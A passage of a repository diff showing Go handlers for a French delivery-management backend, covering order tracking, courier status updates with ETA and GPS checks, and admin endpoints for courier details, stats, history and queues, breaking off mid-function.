"assigned": false,
}
if livreurAssign, ok := cmd["livreur_assign"].(string); ok && livreurAssign != "" {
queueInfo, _ := database.GetDeliverymanQueueInfo(livreurAssign)
livreurInfo = gin.H{
"assigned": true,
"livreur_name": livreurAssign,
"queue_position": queueInfo["queue_size"],
}
}
enrichedCommands[i] = gin.H{
"id": cmd["id"],
"status": cmd["status"],
"status_message": getStatusMessage(cmd["status"].(string)),
"adresse": cmd["adresse"],
"total_prix": cmd["total_prix"],
"created_at": cmd["created_at"],
"livreur": livreurInfo,
"eta": etaData,
}
}
c.JSON(http.StatusOK, gin.H{
"success": true,
"commands": enrichedCommands,
"count": len(enrichedCommands),
})
}
// GetCommandTracking - Suivi détaillé d'une commande
// GET /api/v1/commands/:id/tracking
func GetCommandTracking(c *gin.Context) {
database := c.MustGet("database").(*db.Database)
username := c.GetString("username")
commandID, err := strconv.Atoi(c.Param("id"))
if err != nil {
c.JSON(http.StatusBadRequest, gin.H{"error": "ID invalide"})
return
}
// Récupérer commande
command, err := database.GetCommandByID(commandID)
if err != nil {
c.JSON(http.StatusNotFound, gin.H{"error": "Commande non trouvée"})
return
}
// Vérifier propriété
cmdUsername, _ := command["username"].(string)
if cmdUsername != username {
c.JSON(http.StatusForbidden, gin.H{
"error": "Cette commande ne vous appartient pas",
})
return
}
// Récupérer logs
logs, _ := database.GetCommandLogs(commandID)
// ETA
etaData, _ := database.GetCommandETA(commandID)
// Timeline (basé sur les logs)
timeline := buildTimeline(logs)
c.JSON(http.StatusOK, gin.H{
"success": true,
"command_id": commandID,
"status": command["status"],
"status_message": getStatusMessage(command["status"].(string)),
"eta": etaData,
"timeline": timeline,
"logs": logs,
})
}
// ============================================
// HELPERS
// ============================================
// getStatusMessage retourne un message lisible pour le client
func getStatusMessage(status string) string {
messages := map[string]string{
"pending": "⏳ En attente d'assignation",
"assigned": "✅ Livreur assigné",
"support": "👨‍💼 En préparation",
"en_route": "🚗 En cours de livraison",
"arrived": "📍 Livreur arrivé",
"livre": "📦 Livré - En attente de confirmation",
"delivered": "✅ Livré",
"approved": "🎉 Livraison confirmée",
"failed": "❌ Échec de livraison",
"cancelled": "🚫 Annulée",
"disabled": "⚠️ Désactivée",
}
if msg, ok := messages[status]; ok {
return msg
}
return "📋 " + status
}
// buildTimeline construit une timeline depuis les logs
func buildTimeline(logs []map[string]interface{}) []gin.H {
timeline := make([]gin.H, 0)
for _, logEntry := range logs {
status, _ := logEntry["status"].(string)
message, _ := logEntry["message"].(string)
createdAt, _ := logEntry["created_at"]
timeline = append(timeline, gin.H{
"status": status,
"message": message,
"icon": getStatusIcon(status),
"created_at": createdAt,
})
}
return timeline
}
// getStatusIcon retourne une icône pour la timeline
func getStatusIcon(status string) string {
icons := map[string]string{
"created": "🛒",
"assigned": "👤",
"support": "📦",
"en_route": "🚗",
"arrived": "📍",
"livre": "✅",
"approved": "🎉",
"failed": "❌",
"cancelled": "🚫",
}
if icon, ok := icons[status]; ok {
return icon
}
return "📋"
}
File diff suppressed because it is too large Load Diff
+442
View File
@@ -0,0 +1,442 @@
// ============================================
// handlers/delivery_handlers.go
// 🔧 VERSION MODIFIÉE avec ETA automatique
// ============================================
package handlers
import (
"encoding/json"
"fmt"
"gestion/db"
"log"
"math"
"net/http"
"strconv"
"github.com/gin-gonic/gin"
)
// ============================================
// 🔧 GetMyDeliveries
// ============================================
func GetMyDeliveries(c *gin.Context) {
database := c.MustGet("database").(*db.Database)
username, exists := c.Get("username")
if !exists {
c.JSON(http.StatusUnauthorized, gin.H{"error": "Non authentifié"})
return
}
if c.GetString("role") != "livreur" {
c.JSON(http.StatusForbidden, gin.H{"error": "Accès réservé aux livreurs"})
return
}
usernameStr := username.(string)
status := c.Query("status")
commands, err := database.GetDeliveryPersonCommands(usernameStr, status)
if err != nil {
c.JSON(http.StatusInternalServerError, gin.H{
"error": "Erreur récupération",
"details": err.Error(),
})
return
}
// ✨ FILTRAGE (SANS TÉLÉPHONE)
filteredCommands := make([]gin.H, len(commands))
for i, cmd := range commands {
commandID, _ := cmd["id"].(int)
items, _ := database.GetCommandItems(commandID)
// Client info SANS téléphone
clientUsername, _ := cmd["username"].(string)
client, _ := database.GetClientByUsername(clientUsername)
clientInfo := gin.H{"nom": "Client", "prenom": ""}
if client != nil {
clientInfo = gin.H{
"nom": client.Nom,
"prenom": client.Prenom,
}
}
itemsSummary := make([]gin.H, len(items))
for j, item := range items {
itemsSummary[j] = gin.H{
"produit": item["produit"],
"quantite": item["quantite"],
"prix": item["prix"],
}
}
etaData, _ := database.GetCommandETA(commandID)
filteredCommands[i] = gin.H{
"id": cmd["id"],
"status": cmd["status"],
"adresse": cmd["adresse"],
"total_prix": cmd["total_prix"],
"created_at": cmd["created_at"],
"client_info": clientInfo,
"items": itemsSummary,
"items_count": len(items),
"eta": etaData,
}
}
log.Printf("✅ [MY_DELIVERIES] %d livraisons (données filtrées)", len(filteredCommands))
c.JSON(http.StatusOK, gin.H{
"success": true,
"deliveries": filteredCommands,
"count": len(filteredCommands),
})
}
// ============================================
// GetDeliveryDetails
// ============================================
func GetDeliveryDetails(c *gin.Context) {
database := c.MustGet("database").(*db.Database)
username := c.GetString("username")
if c.GetString("role") != "livreur" {
c.JSON(http.StatusForbidden, gin.H{"error": "Accès réservé aux livreurs"})
return
}
commandID, err := strconv.Atoi(c.Param("id"))
if err != nil {
c.JSON(http.StatusBadRequest, gin.H{"error": "ID invalide"})
return
}
command, err := database.GetCommandByID(commandID)
if err != nil {
c.JSON(http.StatusNotFound, gin.H{"error": "Commande non trouvée"})
return
}
// ✅ VÉRIFIER PROPRIÉTÉ
livreurAssign, _ := command["livreur_assign"].(string)
if livreurAssign != username {
log.Printf("❌ Accès refusé - cmd assignée à %s", livreurAssign)
c.JSON(http.StatusForbidden, gin.H{
"error": "Cette livraison ne vous est pas assignée",
})
return
}
items, _ := database.GetCommandItems(commandID)
clientUsername, _ := command["username"].(string)
client, _ := database.GetClientByUsername(clientUsername)
clientInfo := gin.H{"nom": "Client", "prenom": ""}
if client != nil {
clientInfo = gin.H{
"nom": client.Nom,
"prenom": client.Prenom,
}
}
itemsSummary := make([]gin.H, len(items))
for i, item := range items {
itemsSummary[i] = gin.H{
"produit": item["produit"],
"quantite": item["quantite"],
"prix": item["prix"],
}
}
etaData, _ := database.GetCommandETA(commandID)
c.JSON(http.StatusOK, gin.H{
"success": true,
"delivery": gin.H{
"id": command["id"],
"status": command["status"],
"adresse": command["adresse"],
"total_prix": command["total_prix"],
"created_at": command["created_at"],
"client_info": clientInfo,
"items": itemsSummary,
"items_count": len(items),
"eta": etaData,
},
})
}
// ============================================
// 🔧 UpdateDeliveryStatus - VERSION MODIFIÉE
// ✅ CALCUL AUTOMATIQUE ETA lors du passage en "en_route"
// ============================================
func UpdateDeliveryStatus(c *gin.Context) {
database := c.MustGet("database").(*db.Database)
username, exists := c.Get("username")
if !exists || c.GetString("role") != "livreur" {
c.JSON(http.StatusForbidden, gin.H{"error": "Accès réservé aux livreurs"})
return
}
usernameStr := username.(string)
commandID, err := strconv.Atoi(c.Param("id"))
if err != nil {
c.JSON(http.StatusBadRequest, gin.H{"error": "ID invalide"})
return
}
var req struct {
Status string `json:"status" binding:"required"`
Notes string `json:"notes"`
Latitude float64 `json:"latitude"`
Longitude float64 `json:"longitude"`
}
if err := c.ShouldBindJSON(&req); err != nil {
c.JSON(http.StatusBadRequest, gin.H{
"error": "Données invalides",
"details": err.Error(),
})
return
}
log.Printf("📝 [UPD_STATUS] %s update cmd %d: %s", usernameStr, commandID, req.Status)
command, err := database.GetCommandByID(commandID)
if err != nil {
c.JSON(http.StatusNotFound, gin.H{"error": "Commande non trouvée"})
return
}
// ✅ VÉRIFIER PROPRIÉTÉ
livreurAssign, _ := command["livreur_assign"].(string)
if livreurAssign != usernameStr {
log.Printf("❌ Accès refusé - assigné à %s", livreurAssign)
c.JSON(http.StatusForbidden, gin.H{
"error": "Cette commande ne vous est pas assignée",
})
return
}
// ✅ STATUTS VALIDES POUR LIVREUR (correspondant à la DB)
validStatuses := []string{
"support", // Prise en charge
"assigned", // Assigné (si auto-assignation)
"en_route", // En route vers le client
"arrived", // Arrivé à destination
"livre", // Livré (en attente confirmation client)
"failed", // Échec de livraison
"cancelled", // Annulée
}
isValid := false
for _, s := range validStatuses {
if req.Status == s {
isValid = true
break
}
}
if !isValid {
c.JSON(http.StatusBadRequest, gin.H{
"error": "Statut invalide",
"valid_statuses": validStatuses,
"received": req.Status,
})
return
}
// ✅ VALIDATION GPS pour livraison finale (livre ou failed)
if (req.Status == "livre" || req.Status == "failed") &&
req.Latitude != 0 && req.Longitude != 0 {
destLat, _ := command["dest_latitude"].(float64)
destLon, _ := command["dest_longitude"].(float64)
if destLat != 0 && destLon != 0 {
distance := calculateDistance(req.Latitude, req.Longitude, destLat, destLon)
log.Printf("📍 [GPS] Distance: %.2f m", distance)
if distance > 100 {
c.JSON(http.StatusBadRequest, gin.H{
"error": "Vous êtes trop loin de la destination",
"required_distance": 100,
"current_distance": fmt.Sprintf("%.2f", distance),
"unit": "meters",
})
return
}
log.Printf("✅ [GPS] Validation OK")
} else {
log.Printf("⚠️ [GPS] Coordonnées de destination non disponibles, validation ignorée")
}
}
// Mettre à jour le statut
if err := database.UpdateCommandStatus(commandID, req.Status); err != nil {
c.JSON(http.StatusInternalServerError, gin.H{
"error": "Erreur mise à jour",
"details": err.Error(),
})
return
}
// ✅ SI PASSAGE EN "EN_ROUTE" → CALCULER ET DÉFINIR L'ETA
var etaMinutes int
var etaMessage string
if req.Status == "en_route" {
log.Printf("🚗 [STATUS_LIVREUR] Passage en 'en_route' - Calcul ETA...")
// Récupérer les coordonnées destination
var destLat, destLon float64
// 1. Essayer le cache Redis
destCacheKey := fmt.Sprintf("command:destination:%d", commandID)
destData, err := db.Redis.Get(db.RedisCtx, destCacheKey).Result()
if err == nil && destData != "" {
var coords struct {
Lat float64 `json:"lat"`
Lon float64 `json:"lon"`
}
if err := json.Unmarshal([]byte(destData), &coords); err == nil && coords.Lat != 0 && coords.Lon != 0 {
destLat = coords.Lat
destLon = coords.Lon
log.Printf("📍 [STATUS_LIVREUR] Coords depuis cache Redis: (%.6f, %.6f)", destLat, destLon)
}
}
// 2. Fallback: récupérer depuis la DB
if destLat == 0 || destLon == 0 {
if dLat, ok := command["dest_latitude"].(float64); ok && dLat != 0 {
destLat = dLat
}
if dLon, ok := command["dest_longitude"].(float64); ok && dLon != 0 {
destLon = dLon
}
if destLat != 0 && destLon != 0 {
log.Printf("📍 [STATUS_LIVREUR] Coords depuis DB: (%.6f, %.6f)", destLat, destLon)
}
}
// 3. Calculer l'ETA depuis la position du livreur
if destLat != 0 && destLon != 0 {
etaMinutes = database.CalculateETAForDeliveryman(usernameStr, destLat, destLon)
// Définir l'ETA dans Redis
if err := database.SetCommandETA(commandID, etaMinutes); err != nil {
log.Printf("⚠️ [STATUS_LIVREUR] Erreur définition ETA: %v", err)
} else {
log.Printf("✅ [STATUS_LIVREUR] ETA défini: %d minutes", etaMinutes)
etaMessage = fmt.Sprintf("Arrivée prévue dans %d minutes", etaMinutes)
}
} else {
log.Printf("⚠️ [STATUS_LIVREUR] Coordonnées destination manquantes - ETA par défaut")
etaMinutes = 30 // Fallback
database.SetCommandETA(commandID, etaMinutes)
etaMessage = "Arrivée prévue dans 30 minutes (estimation par défaut)"
}
// Mettre à jour le statut du livreur en "delivering"
database.SetDeliveryPersonStatus(usernameStr, "delivering", commandID)
log.Printf("🚗 [STATUS_LIVREUR] Statut livreur mis à jour: delivering")
}
// Log
message := req.Notes
if message == "" {
message = getDeliveryStatusMessage(req.Status)
}
if etaMessage != "" {
message += fmt.Sprintf(" - %s", etaMessage)
}
database.AddCommandLog(commandID, req.Status, message, usernameStr)
// ✅ GESTION SPÉCIALE SELON LE STATUT
switch req.Status {
case "livre":
// Livraison terminée - Optimiser la queue
log.Printf("📦 Livraison marquée 'livre' - Optimisation queue...")
database.CompleteDeliveryAndProcessNext(usernameStr, commandID)
case "failed":
// Échec de livraison - Optimiser la queue
log.Printf("❌ Livraison échouée - Optimisation queue...")
database.CompleteDeliveryAndProcessNext(usernameStr, commandID)
// Créer un problème de livraison
database.CreateDeliveryIssue(
commandID,
"delivery_failed",
fmt.Sprintf("Échec de livraison: %s", req.Notes),
usernameStr,
)
case "arrived":
log.Printf("📍 Livreur arrivé à destination - Commande %d", commandID)
}
response := gin.H{
"success": true,
"message": "Statut mis à jour",
"command_id": commandID,
"status": req.Status,
}
if req.Status == "en_route" && etaMinutes > 0 {
response["eta_minutes"] = etaMinutes
response["eta_message"] = etaMessage
}
c.JSON(http.StatusOK, response)
}
// ============================================
// HELPERS
// ============================================
func calculateDistance(lat1, lon1, lat2, lon2 float64) float64 {
const earthRadiusKm = 6371
const metersPerKm = 1000
lat1Rad := degreesToRadians(lat1)
lon1Rad := degreesToRadians(lon1)
lat2Rad := degreesToRadians(lat2)
lon2Rad := degreesToRadians(lon2)
dLat := lat2Rad - lat1Rad
dLon := lon2Rad - lon1Rad
a := math.Sin(dLat/2)*math.Sin(dLat/2) +
math.Cos(lat1Rad)*math.Cos(lat2Rad)*
math.Sin(dLon/2)*math.Sin(dLon/2)
c := 2 * math.Atan2(math.Sqrt(a), math.Sqrt(1-a))
return earthRadiusKm * c * metersPerKm
}
func degreesToRadians(degrees float64) float64 {
return degrees * math.Pi / 180
}
func getDeliveryStatusMessage(status string) string {
messages := map[string]string{
"support": "Prise en charge de la livraison",
"assigned": "Commande assignée",
"en_route": "En route vers le client",
"arrived": "Arrivé à destination",
"livre": "Livraison effectuée",
"failed": "Échec de livraison",
"cancelled": "Livraison annulée",
}
if msg, ok := messages[status]; ok {
return msg
}
return fmt.Sprintf("Statut changé: %s", status)
}
+602
View File
@@ -0,0 +1,602 @@
// ============================================
// handlers/delivery_admin_handlers.go
// HANDLERS ADMIN POUR LA GESTION DES LIVREURS
// ============================================
package handlers
import (
"fmt"
"gestion/db"
"log"
"net/http"
"strconv"
"time"
"github.com/gin-gonic/gin"
)
// ============================================
// 📊 GET DELIVERY PERSON DETAILS
// ============================================
// GetDeliveryPersonDetails récupère les détails complets d'un livreur
// GET /api/v2/admin/protected/delivery-persons/:username
func GetDeliveryPersonDetails(c *gin.Context) {
database := c.MustGet("database").(*db.Database)
// ✅ SÉCURITÉ: Admin seulement
userRole := c.GetString("role")
if userRole != "admin" && userRole != "cabine" && userRole != "livreur" {
log.Printf("❌ [GET_DELIVERY_DETAILS] Accès refusé - role=%s", userRole)
c.JSON(http.StatusForbidden, gin.H{"error": "Accès refusé"})
return
}
username := c.Param("username")
if username == "" {
c.JSON(http.StatusBadRequest, gin.H{"error": "Username requis"})
return
}
log.Printf("👤 [GET_DELIVERY_DETAILS] Récupération détails pour: %s", username)
// ============================================
// ÉTAPE 1: Récupérer les infos de base du livreur
// ============================================
livreur, err := database.GetUserByUsername(username)
if err != nil {
log.Printf("❌ [GET_DELIVERY_DETAILS] Livreur non trouvé: %v", err)
c.JSON(http.StatusNotFound, gin.H{
"error": "Livreur non trouvé",
"details": err.Error(),
})
return
}
// Vérifier que c'est bien un livreur
if livreur.Role != "livreur" {
log.Printf("❌ [GET_DELIVERY_DETAILS] Utilisateur n'est pas un livreur: role=%s", livreur.Role)
c.JSON(http.StatusBadRequest, gin.H{
"error": "Cet utilisateur n'est pas un livreur",
"role": livreur.Role,
})
return
}
// ============================================
// ÉTAPE 2: Récupérer le statut et la position GPS
// ============================================
status, err := database.GetDeliveryPersonStatus(username)
if err != nil {
log.Printf("⚠️ [GET_DELIVERY_DETAILS] Impossible de récupérer le statut: %v", err)
status = "offline" // Statut par défaut
}
// Utiliser la fonction GPS existante
lat, lon, err := database.GetDeliveryPersonLocation(username)
var locationInfo map[string]interface{}
if err == nil {
locationInfo = map[string]interface{}{
"latitude": lat,
"longitude": lon,
}
}
// ============================================
// ÉTAPE 3: Récupérer les stats de livraison
// ============================================
queueSize, _ := database.GetDeliverymanQueueSize(username)
currentCommand, _ := database.GetCurrentCommand(username)
// Compter les livraisons
totalDeliveries, _ := database.CountDeliveriesByStatus(username, "")
completedDeliveries, _ := database.CountDeliveriesByStatus(username, "approved")
pendingDeliveries, _ := database.CountDeliveriesByStatus(username, "assigned,en_route,livre")
log.Printf("✅ [GET_DELIVERY_DETAILS] Détails récupérés pour %s", username)
// ============================================
// RÉPONSE
// ============================================
c.JSON(http.StatusOK, gin.H{
"success": true,
"deliveryman": gin.H{
"id": livreur.ID,
"username": livreur.Username,
"role": livreur.Role,
"status": status,
"current_command": currentCommand,
"queue_size": queueSize,
"total_deliveries": totalDeliveries,
"completed_deliveries": completedDeliveries,
"pending_deliveries": pendingDeliveries,
"location": locationInfo,
},
})
}
// ============================================
// 🔄 UPDATE DELIVERY PERSON STATUS
// ============================================
// UpdateDeliveryPersonStatusAdmin modifie le statut d'un livreur (Admin)
// PUT /api/v2/admin/protected/delivery-persons/:username/status
func UpdateDeliveryPersonStatusAdmin(c *gin.Context) {
database := c.MustGet("database").(*db.Database)
// ✅ SÉCURITÉ: Admin seulement
userRole := c.GetString("role")
if userRole != "admin" {
log.Printf("❌ [UPDATE_DELIVERY_STATUS] Accès refusé - role=%s", userRole)
c.JSON(http.StatusForbidden, gin.H{"error": "Accès refusé"})
return
}
username := c.Param("username")
if username == "" {
c.JSON(http.StatusBadRequest, gin.H{"error": "Username requis"})
return
}
var req struct {
Status string `json:"status" binding:"required"`
}
if err := c.ShouldBindJSON(&req); err != nil {
c.JSON(http.StatusBadRequest, gin.H{
"error": "Statut requis",
"details": err.Error(),
})
return
}
// Valider le statut
validStatuses := []string{"available", "busy", "offline"}
isValid := false
for _, vs := range validStatuses {
if req.Status == vs {
isValid = true
break
}
}
if !isValid {
c.JSON(http.StatusBadRequest, gin.H{
"error": "Statut invalide",
"valid_statuses": validStatuses,
"received": req.Status,
})
return
}
log.Printf("📝 [UPDATE_DELIVERY_STATUS] Modification: %s → %s", username, req.Status)
// ============================================
// Vérifier que le livreur existe
// ============================================
livreur, err := database.GetUserByUsername(username)
if err != nil {
log.Printf("❌ [UPDATE_DELIVERY_STATUS] Livreur non trouvé")
c.JSON(http.StatusNotFound, gin.H{"error": "Livreur non trouvé"})
return
}
if livreur.Role != "livreur" {
c.JSON(http.StatusBadRequest, gin.H{
"error": "Cet utilisateur n'est pas un livreur",
})
return
}
// ============================================
// Mettre à jour le statut
// ============================================
err = database.UpdateDeliveryPersonStatus(username, req.Status)
if err != nil {
log.Printf("❌ [UPDATE_DELIVERY_STATUS] Erreur mise à jour: %v", err)
c.JSON(http.StatusInternalServerError, gin.H{
"error": "Erreur mise à jour statut",
"details": err.Error(),
})
return
}
adminUsername, _ := c.Get("username")
log.Printf("✅ [UPDATE_DELIVERY_STATUS] Statut modifié par admin %s: %s → %s",
adminUsername, username, req.Status)
c.JSON(http.StatusOK, gin.H{
"success": true,
"message": "Statut du livreur mis à jour",
"username": username,
"new_status": req.Status,
"updated_by": adminUsername,
})
}
// ============================================
// 📊 GET DELIVERY PERSON STATS
// ============================================
// GetDeliveryPersonStats récupère les statistiques d'un livreur
// GET /api/v2/admin/protected/delivery-persons/:username/stats
func GetDeliveryPersonStats(c *gin.Context) {
database := c.MustGet("database").(*db.Database)
// ✅ SÉCURITÉ: Admin seulement
userRole := c.GetString("role")
if userRole != "admin" {
log.Printf("❌ [GET_DELIVERY_STATS] Accès refusé - role=%s", userRole)
c.JSON(http.StatusForbidden, gin.H{"error": "Accès refusé"})
return
}
username := c.Param("username")
if username == "" {
c.JSON(http.StatusBadRequest, gin.H{"error": "Username requis"})
return
}
log.Printf("📊 [GET_DELIVERY_STATS] Calcul stats pour: %s", username)
// ============================================
// Vérifier que le livreur existe
// ============================================
livreur, err := database.GetUserByUsername(username)
if err != nil {
log.Printf("❌ [GET_DELIVERY_STATS] Livreur non trouvé")
c.JSON(http.StatusNotFound, gin.H{"error": "Livreur non trouvé"})
return
}
if livreur.Role != "livreur" {
c.JSON(http.StatusBadRequest, gin.H{
"error": "Cet utilisateur n'est pas un livreur",
})
return
}
// ============================================
// Récupérer les statistiques
// ============================================
totalDeliveries, _ := database.CountDeliveriesByStatus(username, "")
completedDeliveries, _ := database.CountDeliveriesByStatus(username, "approved")
cancelledDeliveries, _ := database.CountDeliveriesByStatus(username, "cancelled")
pendingDeliveries, _ := database.CountDeliveriesByStatus(username, "pending,assigned")
inProgressDeliveries, _ := database.CountDeliveriesByStatus(username, "en_route,livre")
// Récupérer statut et queue
status, _ := database.GetDeliveryPersonStatus(username)
queueSize, _ := database.GetDeliverymanQueueSize(username)
// Calculer le taux de succès
successRate := 0.0
if totalDeliveries > 0 {
successRate = (float64(completedDeliveries) / float64(totalDeliveries)) * 100
}
// Récupérer la dernière livraison
lastDeliveryDate := ""
lastDelivery, err := database.GetLastDeliveryDate(username)
if err == nil && lastDelivery != nil {
lastDeliveryDate = lastDelivery.Format("2006-01-02 15:04:05")
}
log.Printf("✅ [GET_DELIVERY_STATS] Stats calculées: total=%d, completed=%d",
totalDeliveries, completedDeliveries)
// ============================================
// RÉPONSE
// ============================================
c.JSON(http.StatusOK, gin.H{
"success": true,
"stats": gin.H{
"username": username,
"total_deliveries": totalDeliveries,
"completed_deliveries": completedDeliveries,
"cancelled_deliveries": cancelledDeliveries,
"pending_deliveries": pendingDeliveries,
"in_progress_deliveries": inProgressDeliveries,
"success_rate": successRate,
"current_queue_size": queueSize,
"last_delivery_date": lastDeliveryDate,
"status": status,
},
})
}
// ============================================
// 📜 GET DELIVERY PERSON HISTORY
// ============================================
// GetDeliveryPersonHistory récupère l'historique des livraisons d'un livreur
// GET /api/v2/admin/protected/delivery-persons/:username/history?limit=20&offset=0
func GetDeliveryPersonHistory(c *gin.Context) {
database := c.MustGet("database").(*db.Database)
// ✅ SÉCURITÉ: Admin seulement
userRole := c.GetString("role")
if userRole != "admin" {
log.Printf("❌ [GET_DELIVERY_HISTORY] Accès refusé - role=%s", userRole)
c.JSON(http.StatusForbidden, gin.H{"error": "Accès refusé"})
return
}
username := c.Param("username")
if username == "" {
c.JSON(http.StatusBadRequest, gin.H{"error": "Username requis"})
return
}
// Paramètres de pagination
limit := 20
offset := 0
if limitStr := c.Query("limit"); limitStr != "" {
if l, err := strconv.Atoi(limitStr); err == nil && l > 0 && l <= 100 {
limit = l
}
}
if offsetStr := c.Query("offset"); offsetStr != "" {
if o, err := strconv.Atoi(offsetStr); err == nil && o >= 0 {
offset = o
}
}
log.Printf("📜 [GET_DELIVERY_HISTORY] Récupération historique: %s (limit=%d, offset=%d)",
username, limit, offset)
// ============================================
// Vérifier que le livreur existe
// ============================================
livreur, err := database.GetUserByUsername(username)
if err != nil {
log.Printf("❌ [GET_DELIVERY_HISTORY] Livreur non trouvé")
c.JSON(http.StatusNotFound, gin.H{"error": "Livreur non trouvé"})
return
}
if livreur.Role != "livreur" {
c.JSON(http.StatusBadRequest, gin.H{
"error": "Cet utilisateur n'est pas un livreur",
})
return
}
// ============================================
// Récupérer l'historique
// ============================================
history, err := database.GetDeliveryPersonHistory(username, limit, offset)
if err != nil {
log.Printf("❌ [GET_DELIVERY_HISTORY] Erreur récupération: %v", err)
c.JSON(http.StatusInternalServerError, gin.H{
"error": "Erreur récupération historique",
"details": err.Error(),
})
return
}
// Compter le total
total, _ := database.CountDeliveriesByStatus(username, "")
log.Printf("✅ [GET_DELIVERY_HISTORY] Historique récupéré: %d livraisons (total=%d)",
len(history), total)
c.JSON(http.StatusOK, gin.H{
"success": true,
"history": history,
"count": len(history),
"total": total,
"limit": limit,
"offset": offset,
})
}
// ============================================
// 📍 UPDATE DELIVERY PERSON LOCATION
// ============================================
// UpdateDeliveryPersonLocationAdmin modifie la position GPS d'un livreur (Admin)
// PUT /api/v2/admin/protected/delivery-persons/:username/location
func UpdateDeliveryPersonLocationAdmin(c *gin.Context) {
database := c.MustGet("database").(*db.Database)
// ✅ SÉCURITÉ: Admin seulement
userRole := c.GetString("role")
if userRole != "admin" && userRole != "cabine" {
log.Printf("❌ [UPDATE_DELIVERY_LOCATION] Accès refusé - role=%s", userRole)
c.JSON(http.StatusForbidden, gin.H{"error": "Accès refusé"})
return
}
username := c.Param("username")
if username == "" {
c.JSON(http.StatusBadRequest, gin.H{"error": "Username requis"})
return
}
var req struct {
Latitude float64 `json:"latitude" binding:"required"`
Longitude float64 `json:"longitude" binding:"required"`
}
if err := c.ShouldBindJSON(&req); err != nil {
c.JSON(http.StatusBadRequest, gin.H{
"error": "Coordonnées GPS requises",
"details": err.Error(),
})
return
}
// Valider les coordonnées
if req.Latitude < -90 || req.Latitude > 90 {
c.JSON(http.StatusBadRequest, gin.H{
"error": "Latitude invalide (doit être entre -90 et 90)",
})
return
}
if req.Longitude < -180 || req.Longitude > 180 {
c.JSON(http.StatusBadRequest, gin.H{
"error": "Longitude invalide (doit être entre -180 et 180)",
})
return
}
log.Printf("📍 [UPDATE_DELIVERY_LOCATION] Modification: %s → (%.6f, %.6f)",
username, req.Latitude, req.Longitude)
// ============================================
// Vérifier que le livreur existe
// ============================================
livreur, err := database.GetUserByUsername(username)
if err != nil {
log.Printf("❌ [UPDATE_DELIVERY_LOCATION] Livreur non trouvé")
c.JSON(http.StatusNotFound, gin.H{"error": "Livreur non trouvé"})
return
}
if livreur.Role != "livreur" {
c.JSON(http.StatusBadRequest, gin.H{
"error": "Cet utilisateur n'est pas un livreur",
})
return
}
// ============================================
// Mettre à jour la position (utilise la fonction existante)
// ============================================
err = database.UpdateDeliveryPersonLocation(username, req.Latitude, req.Longitude)
if err != nil {
log.Printf("❌ [UPDATE_DELIVERY_LOCATION] Erreur mise à jour: %v", err)
c.JSON(http.StatusInternalServerError, gin.H{
"error": "Erreur mise à jour position",
"details": err.Error(),
})
return
}
adminUsername, _ := c.Get("username")
log.Printf("✅ [UPDATE_DELIVERY_LOCATION] Position modifiée par admin %s: %s → (%.6f, %.6f)",
adminUsername, username, req.Latitude, req.Longitude)
c.JSON(http.StatusOK, gin.H{
"success": true,
"message": "Position GPS mise à jour",
"location": gin.H{
"username": username,
"latitude": req.Latitude,
"longitude": req.Longitude,
"updated_at": time.Now().Unix(),
},
"updated_by": adminUsername,
})
}
// ============================================
// 🗑️ REMOVE COMMAND FROM QUEUE
// ============================================
// RemoveCommandFromQueue retire une commande de la queue d'un livreur
// DELETE /api/v2/admin/protected/delivery-persons/:username/queue/:command_id
func RemoveCommandFromQueue(c *gin.Context) {
database := c.MustGet("database").(*db.Database)
// ✅ SÉCURITÉ: Admin seulement
userRole := c.GetString("role")
if userRole != "admin" {
log.Printf("❌ [REMOVE_FROM_QUEUE] Accès refusé - role=%s", userRole)
c.JSON(http.StatusForbidden, gin.H{"error": "Accès refusé"})
return
}
username := c.Param("username")
commandIDStr := c.Param("command_id")
if username == "" || commandIDStr == "" {
c.JSON(http.StatusBadRequest, gin.H{
"error": "Username et command_id requis",
})
return
}
commandID, err := strconv.Atoi(commandIDStr)
if err != nil {
c.JSON(http.StatusBadRequest, gin.H{
"error": "ID de commande invalide",
})
return
}
log.Printf("🗑️ [REMOVE_FROM_QUEUE] Suppression: cmd %d de la queue de %s", commandID, username)
// ============================================
// Vérifier que le livreur existe
// ============================================
livreur, err := database.GetUserByUsername(username)
if err != nil {
log.Printf("❌ [REMOVE_FROM_QUEUE] Livreur non trouvé")
c.JSON(http.StatusNotFound, gin.H{"error": "Livreur non trouvé"})
return
}
if livreur.Role != "livreur" {
c.JSON(http.StatusBadRequest, gin.H{
"error": "Cet utilisateur n'est pas un livreur",
})
return
}
// ============================================
// Vérifier que la commande existe
// ============================================
command, err := database.GetCommandByID(commandID)
if err != nil {
log.Printf("❌ [REMOVE_FROM_QUEUE] Commande non trouvée")
c.JSON(http.StatusNotFound, gin.H{"error": "Commande non trouvée"})
return
}
// ============================================
// Retirer de la queue
// ============================================
err = database.RemoveCommandFromDeliverymanQueue(username, commandID)
if err != nil {
log.Printf("❌ [REMOVE_FROM_QUEUE] Erreur suppression: %v", err)
c.JSON(http.StatusInternalServerError, gin.H{
"error": "Erreur suppression de la queue",
"details": err.Error(),
})
return
}
// Optionnel: Réassigner la commande en "pending"
currentStatus, _ := command["status"].(string)
if currentStatus == "assigned" || currentStatus == "en_route" {
err = database.UpdateCommandStatus(commandID, "pending")
if err != nil {
log.Printf("⚠️ [REMOVE_FROM_QUEUE] Impossible de réinitialiser le statut: %v", err)
} else {
// Retirer l'assignation du livreur
database.UpdateCommandLivreur(commandID, "")
log.Printf("✅ [REMOVE_FROM_QUEUE] Commande réinitialisée en 'pending'")
}
}
adminUsername, _ := c.Get("username")
database.AddCommandLog(commandID, "queue_removed",
fmt.Sprintf("Commande retirée de la queue du livreur %s par admin %s", username, adminUsername),
adminUsername.(string))
log.Printf("✅ [REMOVE_FROM_QUEUE] Commande %d retirée de la queue de %s", commandID, username)
c.JSON(http.StatusOK, gin.H{
"success": true,
"message": "Commande retirée de la queue du livreur",
"command_id": commandID,
"username": username,
"removed_by": adminUsername,
})
}
+275
View File
@@ -0,0 +1,275 @@
// ============================================
// handlers/eta_handler_corrected.go
// CORRECTION: ETA visible UNIQUEMENT après en_route
// ============================================
package handlers
import (
"encoding/json"
"fmt"
"gestion/db"
"gestion/services"
"log"
"net/http"
"strconv"
"time"
"github.com/gin-gonic/gin"
)
// ============================================
// GET /api/v1/orders/:id/eta
// ✅ CORRECTION: ETA visible UNIQUEMENT si status >= en_route
// ============================================
func GetOrderETA(c *gin.Context) {
database := c.MustGet("database").(*db.Database)
geoService := c.MustGet("geoService").(*services.GeoService)
// 1️⃣ AUTHENTIFICATION
username, exists := c.Get("username")
if !exists {
log.Printf("❌ [ETA] Non authentifié")
